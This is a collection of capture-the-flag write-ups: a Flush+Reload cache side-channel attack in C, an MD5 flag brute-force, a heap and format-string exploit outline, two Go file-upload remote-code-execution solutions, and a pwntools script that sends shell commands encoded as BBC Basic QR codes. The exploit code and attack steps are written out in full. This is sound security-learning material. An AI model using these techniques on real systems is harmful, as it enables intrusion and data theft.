The first part of our solution was to find out which characters are being usedin the flag.
An important observation is, that thanks to the way the `emojiLib` list is structured each character/emoji corresponds to one cache line.
To find that out we wrote a program, which does a flush and reload for each letterin the given alphabet.
```c#include <stdio.h>#include <assert.h>#include <stdint.h>#include <stdlib.h>#include <dlfcn.h>#include <unistd.h>#include <string.h>
// #define ITERATIONS 192000#define ITERATIONS 90000#define LIB_OFFSET 0x4380#define NUM_CHARS (127 - 0x2d)
void *getEmojis();
__attribute__((naked)) void clflush(volatile void *p) { asm volatile ( "mfence;" "clflush [rdi];" "mfence;" "ret" :::);}
__attribute__((naked)) uint64_t time_foo(volatile void *p){ asm volatile( "push rbx;" "mfence;" "xor rax, rax;" "mfence;" "rdtscp;" // before "mov rbx, rax;" "mov rdi, [rdi];" // RELOAD "rdtscp;" // after "mfence;" "sub rax, rbx;" // return after - before "pop rbx;" "ret;" ::: );}
int pseudo_sleep(size_t iter){ for (size_t i = 0; i < iter; i++); return 0;}
int main(int argc, char **argv) { void *emojilib = getEmojis();
uint64_t deltas[ITERATIONS];
for (int i = 0; i < ITERATIONS; i++){ clflush(emojilib + LIB_OFFSET); // FLUSH pseudo_sleep(10000); deltas[i] = time_foo(emojilib + LIB_OFFSET); }
for (int i = 0; i < ITERATIONS; i++){ if (deltas[i] > 255) deltas[i] = 255; printf("%c", (char) deltas[i]); }
return 0;}```
* `clflush` executes the `clflush` instruction on a given emoji* `time_foo` times the access to a given emoji and returns the lower 32 bits ofthe counter as that is enough for us* `pseudo_sleep` just does a busy loop and just waits. We tried multiple times to use usleep ourselves, however syscalls in general caused a lot of uncertainty in our measurements so we opted for this method instead.
We first flush the cache line containing the emoji we are interested in, and wait for the encoder to fetch it. Then wetime the access to the same cache line again and print the resulting time of theaccess interpreted as a byte. This allows us to retrieve 10000 samples of accesstimes to a given emoji each run. We did this for all possible characters and compared the results.

The above graph shows the access times for the character `-`. It clearly showsthat the access time never falls below 200 clock cycles.

This graph shows the access time for the letter `e`. You can see the access timeoccasionally and periodically drops below 120.
If you compare the graphs of the two character it becomes clear, that the `-`never was loaded in the cache after our flush, while `e` occasionally was loaded.
We then wrote a small python script, which would iterate over all of these graphsand give us the characters that were used in the flag.
```pythonimport osfor x in os.listdir("."): arr = [y & 0xff for y in open(x, "rb").read()] if min(arr) < 180: # 180 cycles Threshold off = int(x.split(".")[0].split("_")[1], 16) off //= 0xa0*4 print(chr(off+0x2d), "is in the flag")```
The result was, that the flag must be made out of the characters `swR}W-FBL{TCdc3l10ne4_rbi`.
Graphing the latency-data for `C` showed a regular pattern of a single spike with an approximatly constant frequency.This lead us to believe that the char `C` occured exactly once in the flag, and the observed frequency was the outer loop which took somewhat over 7ms in total. (5000µs sleep in the outer loop + appox 2000µs for printing the flag itself)
Based on the flag format `CTF-BR{....}` we could assume that this spike is the start of a new Flag. This key information now enhanced our script.We would no longer search for just a single character, but two, namely `C` as our reference and our target char, in the following examples `e`.
```Cint main(int argc, char **argv) { void *emojilib = getEmojis();
uint64_t deltas[ITERATIONS];
for (int i = 0; i < ITERATIONS; i++){ clflush(emojilib + 0x3700); // C-Offset clflush(emojilib + LIB_OFFSET); //usleep(1); // You mustn't use syscalls in here pseudo_sleep(3000); if (160 > time_foo(emojilib + 0x3700)){ deltas[i] = 1; i++; }
deltas[i] = time_foo(emojilib + LIB_OFFSET); }
for (int i = 0; i < ITERATIONS; i++){ if (deltas[i] > 255) deltas[i] = 255; printf("%c", (char) deltas[i]); }
return 0;}```
Having found a `C`-Spike (with a pretty hard threshhold to not find any false positives) we would inject a single `(char) 1` into the byte-stream. We chose it for the simple reason that it should be impossible to have a meassured amount of one cpu cycle and we weren't sure if `printf("%c", 0);` would print anything, so we just took the next best thing.
This allowed us to now measure the timing of the spikes in relation to the start of the signal. The following graph is a the result for the letter `e`:
Zooming in closer 3 individual `e` spikes can be seen in the signal, all of them at distinct times after the metronome.

This was now repeated for all flag-characters we identified earlier.
```pythonimport numpy as npimport matplotlib.pyplot as pltimport matplotlibimport sysresults_fmt = sys.argv[1]
font = {'size' : 16}matplotlib.rc('font', **font)
txt = open(results_fmt, 'rb').read()deltas = [i for i in txt]startbytes = [i for i, val in enumerate(deltas) if val == 1]deltas = list(filter(lambda a: a != 1, deltas))
deltas = np.array(deltas)print(deltas.shape)
events = []for i in startbytes: signal = deltas[i:i+300] trigger = [j for j, val in enumerate(signal) if val < 150] events.append(trigger)
prob_len = max([len(i) for i in events])events = [i for i in events if len(i) == prob_len]
timings = np.mean(events, axis=0)print(prob_len)print(timings)
plt.figure(figsize=(12,8))plt.title("Access-Times for character 'e'")plt.plot(deltas)plt.vlines(startbytes, 0, 255)plt.xlim(0,10000)plt.ylim(0,255)plt.xlabel("Probe #")plt.grid(True)plt.ylabel("Access-Time in cpu-cyles")plt.show()```
We used the maximum number of cache hits as a filter for the individual signal bursts, in cace we missed any cache hits.Their respective timing after the start of the signal was then averaged to get an approximate delay of the character.
The characters were then just sorted by delay after the start byte.
```pythontime_arr = []
for file in os.listdir("./results/timing/"): char = file.split(".txt")[0].split("/")[-1] for t in timing(file): time_arr.append((char, t))
time_dict = sorted(time_dict,key=lambda a: a[1])flag = [i[0] for i in time_arr if i[0] != "C"]print("C" + ''.join(flag))```
This originally resulted in `CTF-BR{r4nscT3dencen_b3elRl10_wniLl_W1}n`.
Looking at it, it definely seemed like something resembling a flag, however it was clear that the uncertainty in our original measurements was to high.So we repeated the above with ~3 times higher resolution (going down from 10000 iterations of doing nothing to just 3000).Whilst that was running in the background we simply started guessing the Flag, since the chars itself should be correct.
After a few failed attempts `CTF-BR{Tr4nsc3ndence_R3bell10n_wiLl_W1n}` was suddenly accepted, a few minutes before the rerun script came to the same solution.
## Conclusion
We solved this challenge after roughly 14-15 hours of working on it.I personally feel like this was a really well thought through and fair challenge.It had a really good difficulty to is and was fun to exploit.
All in all probs and thanks to the Pwn2Win team amd esoj in particular for thischallenge.
I would like to end this writeup with a quote from a team mate of ours after hearing that we were the first and only ones to solve this challenge:
"[Considering how we play A/D CTFs] stolen_door sounds 100% like enoflag"
<3 MMunier and Liikt |
# Titanic

After some searching, I found [this titanic script](https://www.imsdb.com/scripts/Titanic.html).
I made a python script to try every word said in titanic for me, and compare it to the MD5 hash given: `9326ea0931baf5786cde7f280f965ebb`
I also used python 2, just because it's easier.
```pythonfrom hashlib import *import re
alpha = re.compile('[^a-zA-Z{}]')hash = 'e246dbab7ae3a6ed41749e20518fcecd'
with open('words.txt', 'r') as file: script = file.read().replace('\n', ' ').split(' ')
for word in script: word = word.lower() flag = alpha.sub('', "tjctf{flag}".replace("flag", word)) if flag != 'tjctf{}': print flag if md5(flag).hexdigest() == hash: print "Flag found! Flag is " + flag break```
Unfortunately, it didn't work. It didn't find the flag. I didn't figure it out until the author told me that the word might have other symbols, like apostrophes and hyphens.
I added that to the regex, and it worked like a charm!
```pythonalpha = re.compile('[^a-zA-Z{}\'-]')```
```$ python sol.py...tjctf{a}tjctf{beautiful}tjctf{sunny}tjctf{spot}tjctf{enclosed}tjctf{by}tjctf{high}tjctf{arched}tjctf{windows}tjctf{andrews}tjctf{disliking}tjctf{the}tjctf{attention}tjctf{well}tjctf{i}tjctf{may}tjctf{have}tjctf{knocked}tjctf{her}tjctf{together}tjctf{but}tjctf{the}tjctf{idea}tjctf{was}tjctf{mr}tjctf{ismay's}Flag found! Flag is tjctf{ismay's}```
Flag: `tjctf{ismay's}`
EDIT: I found out that the flag has changed since then. The hash is different now. |
TL;DL
Leak Libc address through unsorted bin chunks by partial overwrite.
Construct a fake file structure in a controlled area (concatenation of 2 chunks).
Overwrite File pointer using format string bug.
Get shell through calling fclose() \o/ ! |
## [Original](https://github.com/crowded-geek/castorsCTFwriteups)
# Shortcuts - Writeup### Description```A web app for those who are too lazy to SSH in.
http://web1.cybercastors.com:14437```
## Cracking- #### Us going to website, we just see a webpage with some ASCII art.- #### Looking at the source reveals that there is one endpoint in the website called `/list`- #### Going to the endpoint we see that we can upload some files so this should be RCE (Remote Code Execution)- #### My friends and I got to know by going to some files on this endpoint that this is related to Golang and we *probably* have Remote Code Execution. So I just wrote a little code in go which would let us execute system commands.
#### grep.go```gopackage main
import ( "fmt" "os/exec")
func main() { out, _ := exec.Command("ls", "/home").Output() fmt.Println(string(out))}```
[This checks the users on this system]
- #### Running this gives us
 - #### Now `lsing` into the home gives us some saucy stuff.  - #### Now we just use the `cat` command to get the flag.  |
# Shortcuts (465pts) #

We are given a simple web app written in Golang where we have shortcuts for some commands executed on the server, after digging around we can notice that the server is returning the output of the command **go run foo.go** ( by having a look at processes)so if we upload our go script that executes any commands for us we can achieve a command execution :D But that's not the case if we try to upload any file it won't be executed , i think that there's a whitelist of the accepted filenames.
If we try to execute the users shortcuts we will get the error below , so if we upload a file named users.go and then click users, our script will be executed and we will bypass this whitelist

After uploading it :

The content of **users.go** file :
```go
package main
import ( "fmt" "os/exec")
func execute() {
out, err := exec.Command("cat","/home/tom/flag.txt").Output()
if err != nil { fmt.Printf("%s", err) }
fmt.Println("Command Successfully Executed") output := string(out[:]) fmt.Println(output)}
func main() { execute()
}
```
If you have any questions you can DM on twitter @belkahlaahmed1 or visit my website for more interesting content and blogs https://ahmed-belkahla.me |
# Oldschool Adventures
> We've found an Acorn Computers machine from the 80's, with 32K of RAM.> It is working and running BBC Basic, a fantastic programming language.> ButcherCorp was Acorn's owner and this computer is running one of their projects.> It is a "QR Code Shell".> You send a BBC code to it and, if it renders a valid QR code, the QR code's content will be executed in a Linux system shell. There are certain limitations, such as the number of characters. Currently it's only 132 (the code will be truncated at that point). We also know that at read time the colors black and white are swapped, and that the interpreter's background color is black.>> Note: due to hardware limitations, test your payloads locally before sending them to be executed on the server.>> Server: nc oldschool.pwn2.win 1337
It is a little hard to understand the instructions here (the original version didn't specify "in a Linux system shell", which made it extremely obtuse) but it's clear enough that we send some BBC Basic code which has to render a QR code.Let's start with that.We can play around with an emulated BBC Micro using [JSBeeb](https://github.com/mattgodbolt/jsbeeb) and start reading up on how to draw graphics.Some [documentation](http://www.riscos.com/support/developers/bbcbasic/part2/simplegraphics.html) tells us how to draw a point:
```POINT X,Y```
But even a small, version 1 QR code is 21x21 "modules". Even if we could draw each point with a single character, we'd need 441 characters to draw a QR code - and using the `POINT` command each point takes at least 9 characters.
> Techincally you'd need more than 21x21 since QR codes are supposed to have a border.> But since we're drawing on a black backround, and inverting colors after so it becomes white, that provides a border for us, and we can skip drawing the border.
The prompt specifies that we can only send 132 characters of code (it isn't immediately obvious if this refers to the BASIC code, or the contents of the QR code, but it turns out to mean the BASIC code.)So we need to find a more compact way to draw the QR code.
After a _lot_ of skimming through BBC Micro documentation I discovered [Graphics Mode 7](http://www.bbcbasic.co.uk/bbcwin/manual/bbcwinh.html), the [Teletext](https://en.wikipedia.org/wiki/Teletext) compatibility mode.In this mode, you can't use the graphics drawing APIs but you can draw simple graphics in text mode by using a special chacater set where each character draws a 2x3 pixel array:

We can use these character codes to draw a QR code much more efficiently than using the `POINT` command. First we have to send the control character 151 to draw white graphics (and recall that we are drawing white on a black background, and need to draw an _inverted_ QR code, per the description).
> Fortunately it seems that you don't need to actually switch to mode 7 for this technique to work, which saves us some code.
```PRINT CHR$(151)CHR$(160)CHR$(161)...```
That's an improvement, but it doesn't get anywhere near 132 characters.For that, maybe we can just put the raw character values into the source code.BBC Basic supports putting non-ASCII characters into string literals by typing alt-codes, so maybe it will work?
```PRINT"·ó³µµ½µ·ó³µµ¯¥µö¼¤µ¯¥µ£³£ñýåó³ó±ûó¤æ¿«äúþé±ññó³ô¥¢à±¡µü´µª½§®¬¡õóñµé½êõª¹´"```
> I think the encoding is messed up here - I'm printing 8 bit chars, likely being interpreted as Latin-1, but I suspect they got converted to UTF-8 along the way so don't expect copy-and-pasting that to work, but that's what I see dumping it to the terminal.
That's just 91 chars!But when we paste it into the paste box in JSBeeb, there are two problems:First we don't see the non-ASCII characters printed.Based on the documentation, we should actually be able to see the graphcis chars show up as they are "typed" into the system (as we would if we typed them manually with alt-codes).Second, it seems to stop parsing after the first newline and reports `Missing "` - I guess multiline string literals are not supported!
For now we can work around the second issue by using one `PRINT` statement per line:
```PRINT"·ó³µµ½µ·ó³µ"PRINT"µ¯¥µö¼¤µ¯¥µ"PRINT"£³£ñýåó³ó±"PRINT"ûó¤æ¿«äúþé±"PRINT"ññó³ô¥¢à±¡"PRINT"µü´µª½§®¬¡"PRINT"õóñµé½êõª¹´"```Unfortunately this bumps us up to 139 chars but we'll pare it down later.We don't get the syntax error due to the newlines anymore, but the non-ASCII characters still get stripped when pasting into JSBeeb.
Reading the JSBeeb documentation turns up this:
> `embedBasic=X` - loads 'X' (a URI-encoded string) as text, tokenises it and puts it in `PAGE` as if you'd typed it in to the emulator
Perfect.Instead of pasting, we can URL-encode our BASIC payload and generate a [URL](https://bbc.godbolt.org?embedBasic=PRINT%22%C2%97%C2%B7%C3%B3%C2%B3%C2%B5%C2%B5%C2%BD%C2%B5%C2%B7%C3%B3%C2%B3%C2%B5%22%0APRINT%22%C2%97%C2%B5%C2%AF%C2%A5%C2%B5%C3%B6%C2%BC%C2%A4%C2%B5%C2%AF%C2%A5%C2%B5%22%0APRINT%22%C2%97%C2%A3%C2%B3%C2%A3%C3%B1%C3%BD%C2%AD%C3%A5%C3%B3%C2%B3%C3%B3%C2%B1%22%0APRINT%22%C2%97%C3%BB%C3%B3%C2%A4%C3%A6%C2%BF%C2%AB%C3%A4%C3%BA%C3%BE%C3%A9%C2%B1%22%0APRINT%22%C2%97%C3%B1%C3%B1%C3%B3%C2%B3%C3%B4%C2%A5%C2%AD%C2%A2%C3%A0%C2%B1%C2%A1%22%0APRINT%22%C2%97%C2%B5%C3%BC%C2%B4%C2%B5%C2%AA%C2%BD%C2%AD%C2%A7%C2%AE%C2%AC%C2%A1%22%0APRINT%22%C2%97%C3%B5%C3%B3%C3%B1%C2%B5%C3%A9%C2%BD%C3%AA%C3%B5%C2%AA%C2%B9%C2%B4%22) to try it out.Click that and you should see the BBC Micro draw a lovely inverted-color QR code!My phone will actually parse it even though the colors are inverted.
Now we just need to pare it down to 132 bytes or less.I tried all sorts of things to get a newline into the string literal so we can draw the QR code on one line of BASIC and one `PRINT` statement.either a carriage return or a newline ends the BASIC line and requires a new PRINT statement.Other options like form feed work a little better but mess up the drawing (form feed seems to act like a page break and clears the screen).The lines do autowrap but the tab character only seems to insert one space, and the default graphics mode is 40 characters wide so that won't work.
Eventually I found that `PRINT` can take multiple comma separated values and will print them at 10-character tabstops. Since a line of our QR code already is 11 characters and passes the first tabstop, we only need to print two extra values per line to auto-wrap to the next line:
```PRINT"[first line of QR code]",0,0,"[second line of QR code]",0,0,...```
Each line needs its own control character (code 151) to enable the graphics character set.All together, the code to draw a QR code now comes to 133 characters.SO CLOSE.At this point, I tried just stripping the last graphics character from the last line of the QR code.Since QR codes have error correction built in and the end of the last line is not part of one of the alignment targets, the code remained readable and we made it within 132 bytes!
> Most of the time.> Occasionally the server says it's not a valid QR code, but after a retry it usually works.
Now we can start trying to encode shell commands in the QR codes and sending them to the server. Let's try `ls` ([try it!](https://bbc.godbolt.org?embedBasic=PRINT%22%C2%97%C2%B7%C3%B3%C2%B3%C2%B5%C3%AF%C2%B0%C2%A4%C2%B7%C3%B3%C2%B3%C2%B5%22%2C0%2C0%2C%22%C2%97%C2%B5%C2%AF%C2%A5%C2%B5%C2%AB%C2%AA%C2%A4%C2%B5%C2%AF%C2%A5%C2%B5%22%2C0%2C0%2C%22%C2%97%C3%A3%C2%B3%C3%B3%C3%B1%C3%A5%C2%A9%C3%B5%C2%B3%C3%A3%C3%A3%C2%B1%22%2C0%2C0%2C%22%C2%97%C2%AC%C2%B4%C2%BF%C2%A4%C3%B4%C2%B9%C2%B7%C2%B7%C2%A9%C3%B4%C2%A5%22%2C0%2C0%2C%22%C2%97%C3%B3%C3%B2%C3%B1%C2%B1%C2%B9%C3%BA%C3%BC%C3%B1%C3%BD%C2%B6%C2%A4%22%2C0%2C0%2C%22%C2%97%C2%B5%C3%BC%C2%B4%C2%B5%C3%A7%C2%BF%C2%A9%C2%B4%C2%A2%C3%B3%C2%A1%22%2C0%2C0%2C%22%C2%97%C3%B5%C3%B3%C3%B1%C2%B5%C3%A5%C3%B8%C3%A7%C3%AE%C3%BD%C2%B1%22)).
When we send this payload to the server (the payload here is the raw BASIC source, not URL-encoded), it chews on it for a bit while the BBC Micro generates the QR code, then spits back:
```Wait, processing...flag.txt```
One more try with the payload `cat flag.txt` and it spits out the flag.
Python script to generate JSBeeb URLs for testing or to actually connect to the server and run the attack:
```pythonimport qrcode
def encode(contents): # encode contents in BBC Basic which draws a QR code qr = qrcode.QRCode( # smallest size version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, # 1:1 pixels box_size=1, # border of 0 techinically is not allowed # but since we're drawing on a black background we get border for free # (inverted color so black becomes white) border=0, ) qr.add_data(contents) qr.make(fit=True)
matrix = qr.get_matrix()
def getpix(a, x, y): try: return a[x][y] except IndexError: return False
# iterate through QR code bitmap in 2x3 pixel chunks # find the appropriate teletext graphics character for each chunk lines = [] for y in range(0, len(matrix[0]), 3): line = "" for x in range(0, len(matrix), 2): grid = [ getpix(matrix, x+0, y+0), getpix(matrix, x+1, y+0), getpix(matrix, x+0, y+1), getpix(matrix, x+1, y+1), getpix(matrix, x+0, y+2), getpix(matrix, x+1, y+2), ]
graphic = 0 for i in range(len(grid)): # we want to draw the QR code with inverted color. # this seems to do the trick v = 1 if grid[i] else 0 graphic |= (v << i)
# http://www.riscos.com/support/developers/bbcbasic/part2/teletext.html#TeletextGraphics line += chr((graphic + 160) if graphic < 32 else (graphic + 192)) lines.append(line)
# Remove the last character to get down to the limit of 132 # This works because QR code has error correction lines[-1] = lines[-1][:-1] # to get characters down, instead of a PRINT for each line, we use the # tabulation feature and printing enough values to fill each line s = 'PRINT' + ',0,0,'.join([f'"\x97{line}"' for line in lines])
return s
if __name__ == '__main__': # generate BBC BASIC to show QR code containing command payload = encode("cat flag.txt")
if True: # talk to the server for real from pwn import *
# connect to server conn = remote('oldschool.pwn2.win', 1337)
# do PoW conn.recvuntil('Send the solution for "hashcash -mb 25 ') prompt = conn.recvuntil('":', drop=True).decode('utf-8') hc = process(['hashcash', '-mb', '25', prompt]) hc.recvuntil('hashcash token: ') conn.send(hc.recvuntil('\n', drop=True)) # send payload conn.recvuntil('Send your payload here:') conn.send(payload) conn.interactive() else: # test QR code generation locally to avoid hammering the server import urllib.parse
# show the raw payload for sanity check print("Raw payload:", payload) # Check if it's within the 132 byte limit print("Payload length:", len(payload))
# encode in URL for JSBeeb to run params = urllib.parse.urlencode({"embedBasic": payload})
# print link to run in JSBeeb # you could host JSBeeb locally but this is easier # (still runs locally since it's Javascript anyway) print("JSBeeb URL:", f"https://bbc.godbolt.org?{params}")``` |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.